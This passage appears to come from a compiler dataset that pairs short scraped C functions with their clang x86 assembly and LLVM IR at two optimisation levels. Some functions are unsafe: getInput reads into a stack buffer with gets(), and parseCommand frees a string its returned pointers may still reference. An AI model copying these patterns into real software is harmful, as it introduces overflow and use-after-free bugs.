mov    -0x8(%rbp),%rax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<getenv>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i8* @getenv(i8* %0) {
%2 = alloca i8*
%3 = alloca i8*
%4 = alloca i8
%5 = alloca i8*
%6 = alloca i64
store i8* %0, i8** %3
br label %7
7: ; preds = %1
%8 = load i8, i8* %4
%9 = trunc i8 %8 to i1
br i1 %9, label %11, label %10
10: ; preds = %7
store i8* null, i8** %2
br label %24
11: ; preds = %7
%12 = load i64, i64* %6
%13 = icmp uge i64 %12, 1
%14 = zext i1 %13 to i32
%15 = call i32 @__ESBMC_assume(i32 %14)
%16 = load i64, i64* %6
%17 = call i64 @malloc(i64 %16)
%18 = inttoptr i64 %17 to i8*
store i8* %18, i8** %5
%19 = load i8*, i8** %5
%20 = load i64, i64* %6
%21 = sub i64 %20, 1
%22 = getelementptr inbounds i8, i8* %19, i64 %21
store i8 0, i8* %22
%23 = load i8*, i8** %5
store i8* %23, i8** %2
br label %24
24: ; preds = %11, %10
%25 = load i8*, i8** %2
ret i8* %25
}

LLVM IR (-O2):
define noalias i8* @getenv(i8* nocapture readnone %0) {
ret i8* null
}
/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  unsigned long window;
};
typedef TYPE_1__ XPropertyEvent;

/* Variables and functions */
void set_XPropertyEvent_window(void *_p, unsigned long _v) {
  ((XPropertyEvent *)_p)->window = (unsigned long)_v;
}


x86 assembly (clang, -O0):
<set_XPropertyEvent_window>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x10(%rbp),%rcx
mov    -0x8(%rbp),%rax
mov    %rcx,(%rax)
pop    %rbp
ret

x86 assembly (clang, -O2):
<set_XPropertyEvent_window>:
mov    %rsi,(%rdi)
ret

LLVM IR (-O0):
%struct.TYPE_2__ = type { i64 }
define void @set_XPropertyEvent_window(i8* %0, i64 %1) {
%3 = alloca i8*
%4 = alloca i64
store i8* %0, i8** %3
store i64 %1, i64* %4
%5 = load i64, i64* %4
%6 = load i8*, i8** %3
%7 = bitcast i8* %6 to %struct.TYPE_2__*
%8 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %7, i32 0, i32 0
store i64 %5, i64* %8
ret void
}

LLVM IR (-O2):
define void @set_XPropertyEvent_window(i8* nocapture writeonly %0, i64 %1) {
%3 = bitcast i8* %0 to i64*
store i64 %1, i64* %3
ret void
}
/* Variables and functions */
int countFields(char *, char);
int /*<<< orphan*/ free(char *);
char **malloc(int);
int /*<<< orphan*/ str_split(char *, char, char **);
char **parseCommand(char *command) {
  int num_of_args = countFields(command, ' ');
  char **args = malloc(sizeof(char *) * num_of_args);
  str_split(command, ' ', args);
  free(command);
  return args;
}


x86 assembly (clang, -O0):
<parseCommand>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
mov    $0x20,%esi
call   1040 <countFields@plt>
mov    %eax,-0xc(%rbp)
movslq -0xc(%rbp),%rax
shl    $0x3,%rax
mov    %eax,%edi
call   1060 <malloc@plt>
mov    %rax,-0x18(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x18(%rbp),%rdx
mov    $0x20,%esi
call   1050 <str_split@plt>
mov    -0x8(%rbp),%rdi
call   1030 <free@plt>
mov    -0x18(%rbp),%rax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<parseCommand>:
push   %r14
push   %rbx
push   %rax
mov    %rdi,%rbx
mov    $0x20,%esi
call   1040 <countFields@plt>
lea    0x0(,%rax,8),%edi
call   1060 <malloc@plt>
mov    %rax,%r14
mov    %rbx,%rdi
mov    $0x20,%esi
mov    %rax,%rdx
call   1050 <str_split@plt>
mov    %rbx,%rdi
call   1030 <free@plt>
mov    %r14,%rax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
define i8** @parseCommand(i8* %0) {
%2 = alloca i8*
%3 = alloca i32
%4 = alloca i8**
store i8* %0, i8** %2
%5 = load i8*, i8** %2
%6 = call i32 @countFields(i8* %5, i8 signext 32)
store i32 %6, i32* %3
%7 = load i32, i32* %3
%8 = sext i32 %7 to i64
%9 = mul i64 8, %8
%10 = trunc i64 %9 to i32
%11 = call i8** @malloc(i32 %10)
store i8** %11, i8*** %4
%12 = load i8*, i8** %2
%13 = load i8**, i8*** %4
%14 = call i32 @str_split(i8* %12, i8 signext 32, i8** %13)
%15 = load i8*, i8** %2
%16 = call i32 @free(i8* %15)
%17 = load i8**, i8*** %4
ret i8** %17
}

LLVM IR (-O2):
define i8** @parseCommand(i8* %0) {
%2 = tail call i32 @countFields(i8* %0, i8 signext 32)
%3 = shl i32 %2, 3
%4 = tail call i8** @malloc(i32 %3)
%5 = tail call i32 @str_split(i8* %0, i8 signext 32, i8** %4)
%6 = tail call i32 @free(i8* %0)
ret i8** %4
}
/* Variables and functions */
int /*<<< orphan*/ debug(char *);
int /*<<< orphan*/ set_gint_sts(int);
void handle_enum_done_interrupt(void) {
  debug("enum_done\r\n");
  set_gint_sts((1 << 13));
}


x86 assembly (clang, -O0):
<handle_enum_done_interrupt>:
push   %rbp
mov    %rsp,%rbp
lea    0xed5(%rip),%rdi
call   1030 <debug@plt>
mov    $0x2000,%edi
call   1040 <set_gint_sts@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<handle_enum_done_interrupt>:
push   %rax
lea    0xed8(%rip),%rdi
call   1030 <debug@plt>
mov    $0x2000,%edi
pop    %rax
jmp    1040 <set_gint_sts@plt>

LLVM IR (-O0):
@.str = [12 x i8] c"enum_done\0D\0A\00"
define void @handle_enum_done_interrupt() {
%1 = call i32 @debug(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0))
%2 = call i32 @set_gint_sts(i32 8192)
ret void
}

LLVM IR (-O2):
@.str = [12 x i8] c"enum_done\0D\0A\00"
define void @handle_enum_done_interrupt() {
%1 = tail call i32 @debug(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0))
%2 = tail call i32 @set_gint_sts(i32 8192)
ret void
}
/* Variables and functions */
int ParseInput(char *);
int /*<<< orphan*/ *gets(char *);
int getInput(void) {
  char iString[255];
  if (gets(iString) != NULL) {
    return ParseInput(iString);
  }
}


x86 assembly (clang, -O0):
<getInput>:
push   %rbp
mov    %rsp,%rbp
sub    $0x110,%rsp
lea    -0x110(%rbp),%rdi
call   1030 <gets@plt>
cmp    $0x0,%rax
je     1150 <getInput+0x30>
lea    -0x110(%rbp),%rdi
call   1040 <ParseInput@plt>
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x110,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<getInput>:
sub    $0x108,%rsp
mov    %rsp,%rdi
call   1030 <gets@plt>
test   %rax,%rax
je     1144 <getInput+0x24>
mov    %rsp,%rdi
call   1040 <ParseInput@plt>
add    $0x108,%rsp
ret
add    $0x108,%rsp
ret

LLVM IR (-O0):
define i32 @getInput() {
%1 = alloca i32
%2 = alloca [255 x i8]
%3 = getelementptr inbounds [255 x i8], [255 x i8]* %2, i64 0, i64 0
%4 = call i32* @gets(i8* %3)
%5 = icmp ne i32* %4, null
br i1 %5, label %6, label %9
6: ; preds = %0
%7 = getelementptr inbounds [255 x i8], [255 x i8]* %2, i64 0, i64 0
%8 = call i32 @ParseInput(i8* %7)
store i32 %8, i32* %1
br label %9
9: ; preds = %6, %0
%10 = load i32, i32* %1
ret i32 %10
}

LLVM IR (-O2):
define i32 @getInput() {
%1 = alloca [255 x i8]
%2 = getelementptr inbounds [255 x i8], [255 x i8]* %1, i64 0, i64 0
%3 = call i32* @gets(i8* %2)
%4 = icmp eq i32* %3, null
br i1 %4, label %7, label %5
5: ; preds = %0
%6 = call i32 @ParseInput(i8* %2)
br label %7
7: ; preds = %0, %5
%8 = phi i32 [ %6, %5 ], [ undef, %0 ]
ret i32 %8
}
/* Type definitions */
struct fnode {
  int dummy;
};

/* Variables and functions */
int fatfs_write(struct fnode *, void *, int);
int vfs_write(struct fnode *fno, void *buf, int len) {
  return fatfs_write(fno, buf, len);
}


x86 assembly (clang, -O0):
<vfs_write>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %edx,-0x14(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
mov    -0x14(%rbp),%edx
call   1030 <fatfs_write@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<vfs_write>:
jmp    1030 <fatfs_write@plt>

LLVM IR (-O0):
%struct.fnode = type { i32 }
define i32 @vfs_write(%struct.fnode* %0, i8* %1, i32 %2) {
%4 = alloca %struct.fnode*
%5 = alloca i8*
%6 = alloca i32
store %struct.fnode* %0, %struct.fnode** %4
store i8* %1, i8** %5
store i32 %2, i32* %6
%7 = load %struct.fnode*, %struct.fnode** %4
%8 = load i8*, i8** %5
%9 = load i32, i32* %6
%10 = call i32 @fatfs_write(%struct.fnode* %7, i8* %8, i32 %9)
ret i32 %10
}

LLVM IR (-O2):
%struct.fnode = type { i32 }
define i32 @vfs_write(%struct.fnode* %0, i8* %1, i32 %2) {
%4 = tail call i32 @fatfs_write(%struct.fnode* %0, i8* %1, i32 %2)
ret i32 %4
}
/* Variables and functions */
int /*<<< orphan*/ TRUE;
int /*<<< orphan*/ curs_set(int /*<<< orphan*/);
int /*<<< orphan*/ initscr();
int /*<<< orphan*/ keypad(int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ nodelay(int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ noecho();
int /*<<< orphan*/ nonl();
int /*<<< orphan*/ raw();
int /*<<< orphan*/ start_color();
int /*<<< orphan*/ stdscr;
int init(void) {
  initscr();
  start_color();
  nodelay(stdscr, TRUE);
  keypad(stdscr, TRUE);
  nonl();
  raw();
  noecho();
  curs_set(0);
  return 0;
}


x86 assembly (clang, -O0):
<init>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1040 <initscr@plt>
mov    $0x0,%al
call   1060 <start_color@plt>
mov    0x2e4f(%rip),%rax
mov    (%rax),%edi
mov    0x2e3e(%rip),%rax
mov    (%rax),%esi
call   1080 <nodelay@plt>
mov    0x2e38(%rip),%rax
mov    (%rax),%edi
mov    0x2e27(%rip),%rax
mov    (%rax),%esi
call   1030 <keypad@plt>
mov    $0x0,%al
call   1070 <nonl@plt>
mov    $0x0,%al
call   1050 <raw@plt>
mov    $0x0,%al
call   1090 <noecho@plt>
xor    %edi,%edi
call   10a0 <curs_set@plt>
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<init>:
push   %r14
push   %rbx
push   %rax
xor    %eax,%eax
call   1040 <initscr@plt>
xor    %eax,%eax
call   1060 <start_color@plt>
mov    0x2e4f(%rip),%r14
mov    (%r14),%edi
mov    0x2e3d(%rip),%rbx
mov    (%rbx),%esi
call   1080 <nodelay@plt>
mov    (%r14),%edi
mov    (%rbx),%esi
call   1030 <keypad@plt>
xor    %eax,%eax
call   1070 <nonl@plt>
xor    %eax,%eax
call   1050 <raw@plt>
xor    %eax,%eax
call   1090 <noecho@plt>
xor    %edi,%edi
call   10a0 <curs_set@plt>
xor    %eax,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
@stdscr = global i32 0
@TRUE = global i32 0
define i32 @init() {
%1 = call i32 (...) @initscr()
%2 = call i32 (...) @start_color()
%3 = load i32, i32* @stdscr
%4 = load i32, i32* @TRUE
%5 = call i32 @nodelay(i32 %3, i32 %4)
%6 = load i32, i32* @stdscr
%7 = load i32, i32* @TRUE
%8 = call i32 @keypad(i32 %6, i32 %7)
%9 = call i32 (...) @nonl()
%10 = call i32 (...) @raw()
%11 = call i32 (...) @noecho()
%12 = call i32 @curs_set(i32 0)
ret i32 0
}

LLVM IR (-O2):
@stdscr = global i32 0
@TRUE = global i32 0
define i32 @init() {
%1 = tail call i32 (...) @initscr()
%2 = tail call i32 (...) @start_color()
%3 = load i32, i32* @stdscr
%4 = load i32, i32* @TRUE
%5 = tail call i32 @nodelay(i32 %3, i32 %4)
%6 = load i32, i32* @stdscr
%7 = load i32, i32* @TRUE
%8 = tail call i32 @keypad(i32 %6, i32 %7)
%9 = tail call i32 (...) @nonl()
%10 = tail call i32 (...) @raw()
%11 = tail call i32 (...) @noecho()
%12 = tail call i32 @curs_set(i32 0)
ret i32 0
}
unsigned int size_to_blocks(unsigned int size) { return (size + 32 - 1) / 32; }


x86 assembly (clang, -O0):
<size_to_blocks>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x20,%eax
sub    $0x1,%eax
shr    $0x5,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<size_to_blocks>:
lea    0x1f(%rdi),%eax
shr    $0x5,%eax
ret

LLVM IR (-O0):
define i32 @size_to_blocks(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = add i32 %3, 32
%5 = sub i32 %4, 1
%6 = udiv i32 %5, 32
ret i32 %6
}

LLVM IR (-O2):
define i32 @size_to_blocks(i32 %0) {
%2 = add i32 %0, 31
%3 = lshr i32 %2, 5
ret i32 %3
}
/* Variables and functions */
int /*<<< orphan*/ gpio_write_bit(int, char);
void vbat(char value) { gpio_write_bit(1, value); }


x86 assembly (clang, -O0):
<vbat>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %dil,%al
mov    %al,-0x1(%rbp)
mov    $0x1,%edi
movsbl -0x1(%rbp),%esi
call   1030 <gpio_write_bit@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<vbat>:
mov    %edi,%esi
mov    $0x1,%edi
jmp    1030 <gpio_write_bit@plt>

LLVM IR (-O0):
define void @vbat(i8 signext %0) {
%2 = alloca i8
store i8 %0, i8* %2
%3 = load i8, i8* %2
%4 = call i32 @gpio_write_bit(i32 1, i8 signext %3)
ret void
}

LLVM IR (-O2):
define void @vbat(i8 signext %0) {
%2 = tail call i32 @gpio_write_bit(i32 1, i8 signext %0)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ memf(char *, int, int, char, char *);
int memtest(char *);
int main(void) {
  memf("test %d 0x%x %c %s", 13, 0xABCDEF09, '@', ">!");
  return memtest("test 13 0xABCDEF09 @ >!");
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xeca(%rip),%rdi
mov    $0xd,%esi
mov    $0xabcdef09,%edx
mov    $0x40,%ecx
lea    0xedc(%rip),%r8
call   1030 <memf@plt>
lea    0xebb(%rip),%rdi
call   1040 <memtest@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xed8(%rip),%rdi
lea    0xef9(%rip),%r8
mov    $0xd,%esi
mov    $0xabcdef09,%edx
mov    $0x40,%ecx
call   1030 <memf@plt>
lea    0xec9(%rip),%rdi
pop    %rax
jmp    1040 <memtest@plt>

LLVM IR (-O0):
@.str = [19 x i8] c"test %d 0x%x %c %s\00"
@.str.1 = [3 x i8] c">!\00"
@.str.2 = [24 x i8] c"test 13 0xABCDEF09 @ >!\00"
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 @memf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str, i64 0, i64 0), i32 13, i32 -1412567287, i8 signext 64, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0))
%3 = call i32 @memtest(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0))
ret i32 %3
}

LLVM IR (-O2):
@.str = [19 x i8] c"test %d 0x%x %c %s\00"
@.str.1 = [3 x i8] c">!\00"
@.str.2 = [24 x i8] c"test 13 0xABCDEF09 @ >!\00"
define i32 @main() {
%1 = tail call i32 @memf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str, i64 0, i64 0), i32 13, i32 -1412567287, i8 signext 64, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0))
%2 = tail call i32 @memtest(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0))
ret i32 %2
}
/* Variables and functions */
int /*<<< orphan*/ Assert_real(int, char *, int, char *);
scalar_t__ isalpha(int);
void t_isalpha_0xde() {
  Assert_real((isalpha(222) == 0),
              "/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/"
              "2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/"
              "dg/z88dk/test/suites/ctype/test_isalpha.c",
              1115, ("isalpha should be 0 for 0xde"));
}


x86 assembly (clang, -O0):
<t_isalpha_0xde>:
push   %rbp
mov    %rsp,%rbp
mov    $0xde,%edi
call   1030 <isalpha@plt>
cmp    $0x0,%rax
sete   %al
and    $0x1,%al
movzbl %al,%edi
lea    0xebf(%rip),%rsi
mov    $0x45b,%edx
lea    0xf5b(%rip),%rcx
call   1040 <Assert_real@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<t_isalpha_0xde>:
push   %rax
mov    $0xde,%edi
call   1030 <isalpha@plt>
xor    %edi,%edi
test   %rax,%rax
sete   %dil
lea    0xec5(%rip),%rsi
lea    0xf66(%rip),%rcx
mov    $0x45b,%edx
pop    %rax
jmp    1040 <Assert_real@plt>

LLVM IR (-O0):
@.str = [168 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_isalpha.c\00"
@.str.1 = [29 x i8] c"isalpha should be 0 for 0xde\00"
define void @t_isalpha_0xde() {
%1 = call i64 @isalpha(i32 222)
%2 = icmp eq i64 %1, 0
%3 = zext i1 %2 to i32
%4 = call i32 @Assert_real(i32 %3, i8* getelementptr inbounds ([168 x i8], [168 x i8]* @.str, i64 0, i64 0), i32 1115, i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
@.str = [168 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_isalpha.c\00"
@.str.1 = [29 x i8] c"isalpha should be 0 for 0xde\00"
define void @t_isalpha_0xde() {
%1 = tail call i64 @isalpha(i32 222)
%2 = icmp eq i64 %1, 0
%3 = zext i1 %2 to i32
%4 = tail call i32 @Assert_real(i32 %3, i8* getelementptr inbounds ([168 x i8], [168 x i8]* @.str, i64 0, i64 0), i32 1115, i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
ret void
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
int main() {
  printf("hello, my cat\n");
  int i;
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xeda(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [15 x i8] c"hello, my cat\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
store i32 0, i32* %1
%3 = call i32 @printf(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@str = [14 x i8] c"hello, my cat\00"
define i32 @main() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([14 x i8], [14 x i8]* @str, i64 0, i64 0))
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ memcpy(void *, void const *, size_t);
void *xmalloc(size_t);
void *xmemdup(const void *p_, size_t size) {
  void *p = xmalloc(size);
  memcpy(p, p_, size);
  return p;
}


x86 assembly (clang, -O0):
<xmemdup>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
call   1030 <xmalloc@plt>
mov    %rax,-0x18(%rbp)
mov    -0x18(%rbp),%rdi
mov    -0x8(%rbp),%rsi
mov    -0x10(%rbp),%rdx
call   1040 <memcpy@plt>
mov    -0x18(%rbp),%rax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<xmemdup>:
push   %r15
push   %r14
push   %rbx
mov    %rsi,%r15
mov    %rdi,%r14
mov    %rsi,%rdi
call   1030 <xmalloc@plt>
mov    %rax,%rbx
mov    %rax,%rdi
mov    %r14,%rsi
mov    %r15,%rdx
call   1040 <memcpy@plt>
mov    %rbx,%rax
pop    %rbx
pop    %r14
pop    %r15
ret

LLVM IR (-O0):
define i8* @xmemdup(i8* %0, i64 %1) {
%3 = alloca i8*
%4 = alloca i64
%5 = alloca i8*
store i8* %0, i8** %3
store i64 %1, i64* %4
%6 = load i64, i64* %4
%7 = call i8* @xmalloc(i64 %6)
store i8* %7, i8** %5
%8 = load i8*, i8** %5
%9 = load i8*, i8** %3
%10 = load i64, i64* %4
%11 = call i32 @memcpy(i8* %8, i8* %9, i64 %10)
%12 = load i8*, i8** %5
ret i8* %12
}

LLVM IR (-O2):
define i8* @xmemdup(i8* %0, i64 %1) {
%3 = tail call i8* @xmalloc(i64 %1)
%4 = tail call i32 @memcpy(i8* %3, i8* %0, i64 %1)
ret i8* %3
}
/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int fwrite(void *, size_t const, size_t const, int /*<<< orphan*/ *);
int fwrite_little_endian(void *buf, const size_t size, const size_t n,
                         FILE *fp) {
  return fwrite(buf, size, n, fp);
}


x86 assembly (clang, -O0):
<fwrite_little_endian>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %rcx,-0x20(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
mov    -0x18(%rbp),%rdx
mov    -0x20(%rbp),%rcx
call   1030 <fwrite@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<fwrite_little_endian>:
jmp    1030 <fwrite@plt>

LLVM IR (-O0):
define i32 @fwrite_little_endian(i8* %0, i64 %1, i64 %2, i32* %3) {
%5 = alloca i8*
%6 = alloca i64
%7 = alloca i64
%8 = alloca i32*
store i8* %0, i8** %5
store i64 %1, i64* %6
store i64 %2, i64* %7
store i32* %3, i32** %8
%9 = load i8*, i8** %5
%10 = load i64, i64* %6
%11 = load i64, i64* %7
%12 = load i32*, i32** %8
%13 = call i32 @fwrite(i8* %9, i64 %10, i64 %11, i32* %12)
ret i32 %13
}

LLVM IR (-O2):
define i32 @fwrite_little_endian(i8* nocapture %0, i64 %1, i64 %2, i32* nocapture %3) {
%5 = tail call i32 @fwrite(i8* %0, i64 %1, i64 %2, i32* %3)
ret i32 %5
}
int __attribute__((regparm(1))) bar(void *arg) { return arg != bar; }


x86 assembly (clang, -O0):
<bar>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    0x2ed1(%rip),%rax
cmp    %rax,-0x8(%rbp)
setne  %al
and    $0x1,%al
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<bar>:
xor    %eax,%eax
cmp    0x2ed7(%rip),%rdi
setne  %al
ret

LLVM IR (-O0):
define i32 @bar(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = icmp ne i8* %3, bitcast (i32 (i8*)* @bar to i8*)
%5 = zext i1 %4 to i32
ret i32 %5
}

LLVM IR (-O2):
define i32 @bar(i8* readnone %0) {
%2 = icmp ne i8* %0, bitcast (i32 (i8*)* @bar to i8*)
%3 = zext i1 %2 to i32
ret i32 %3
}
/* Variables and functions */
int unlink(char *);
int ss_fileunlink(char *path) { return unlink(path); }


x86 assembly (clang, -O0):
<ss_fileunlink>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <unlink@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<ss_fileunlink>:
jmp    1030 <unlink@plt>

LLVM IR (-O0):
define i32 @ss_fileunlink(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = call i32 @unlink(i8* %3)
ret i32 %4
}

LLVM IR (-O2):
define i32 @ss_fileunlink(i8* nocapture %0) {
%2 = tail call i32 @unlink(i8* %0)
ret i32 %2
}
void glGetTexParameterxv(void) { return; }


x86 assembly (clang, -O0):
<glGetTexParameterxv>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<glGetTexParameterxv>:
ret

LLVM IR (-O0):
define void @glGetTexParameterxv() {
ret void
}

LLVM IR (-O2):
define void @glGetTexParameterxv() {
ret void
}
/* Variables and functions */
int rand();
int /*<<< orphan*/ srand(int /*<<< orphan*/);
int /*<<< orphan*/ time(int /*<<< orphan*/ *);
void zapolnenie(int *ar, int size) {
  srand(time(NULL));
  int i;
  for (i = 0; i < size; i++)
    *(ar + i) = rand() % 100;
}


x86 assembly (clang, -O0):
<zapolnenie>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
xor    %eax,%eax
mov    %eax,%edi
call   1040 <time@plt>
mov    %eax,%edi
call   1030 <srand@plt>
movl   $0x0,-0x10(%rbp)
mov    -0x10(%rbp),%eax
cmp    -0xc(%rbp),%eax
jge    118a <zapolnenie+0x5a>
mov    $0x0,%al
call   1050 <rand@plt>
mov    $0x64,%ecx
cltd
idiv   %ecx
mov    -0x8(%rbp),%rax
movslq -0x10(%rbp),%rcx
mov    %edx,(%rax,%rcx,4)
mov    -0x10(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x10(%rbp)
jmp    1156 <zapolnenie+0x26>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<zapolnenie>:
push   %rbp
push   %r14
push   %rbx
mov    %esi,%ebp
mov    %rdi,%r14
xor    %edi,%edi
call   1040 <time@plt>
mov    %eax,%edi
call   1030 <srand@plt>
test   %ebp,%ebp
jle    117f <zapolnenie+0x4f>
mov    %ebp,%ebp
xor    %ebx,%ebx
nop
xor    %eax,%eax
call   1050 <rand@plt>
cltq
imul   $0x51eb851f,%rax,%rcx
mov    %rcx,%rdx
shr    $0x3f,%rdx
sar    $0x25,%rcx
add    %edx,%ecx
imul   $0x64,%ecx,%ecx
sub    %ecx,%eax
mov    %eax,(%r14,%rbx,4)
add    $0x1,%rbx
cmp    %rbx,%rbp
jne    1150 <zapolnenie+0x20>
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
define void @zapolnenie(i32* %0, i32 %1) {
%3 = alloca i32*
%4 = alloca i32
%5 = alloca i32
store i32* %0, i32** %3
store i32 %1, i32* %4
%6 = call i32 @time(i32* null)
%7 = call i32 @srand(i32 %6)
store i32 0, i32* %5
br label %8
8: ; preds = %19, %2
%9 = load i32, i32* %5
%10 = load i32, i32* %4
%11 = icmp slt i32 %9, %10
br i1 %11, label %12, label %22
12: ; preds = %8
%13 = call i32 (...) @rand()
%14 = srem i32 %13, 100
%15 = load i32*, i32** %3
%16 = load i32, i32* %5
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds i32, i32* %15, i64 %17
store i32 %14, i32* %18
br label %19
19: ; preds = %12
%20 = load i32, i32* %5
%21 = add nsw i32 %20, 1
store i32 %21, i32* %5
br label %8
22: ; preds = %8
ret void
}

LLVM IR (-O2):
define void @zapolnenie(i32* nocapture writeonly %0, i32 %1) {
%3 = tail call i32 @time(i32* null)
%4 = tail call i32 @srand(i32 %3)
%5 = icmp sgt i32 %1, 0
br i1 %5, label %6, label %15
6: ; preds = %2
%7 = zext i32 %1 to i64
br label %8
8: ; preds = %6, %8
%9 = phi i64 [ 0, %6 ], [ %13, %8 ]
%10 = tail call i32 (...) @rand()
%11 = srem i32 %10, 100
%12 = getelementptr inbounds i32, i32* %0, i64 %9
store i32 %11, i32* %12
%13 = add nuw nsw i64 %9, 1
%14 = icmp eq i64 %13, %7
br i1 %14, label %15, label %8
15: ; preds = %8, %2
ret void
}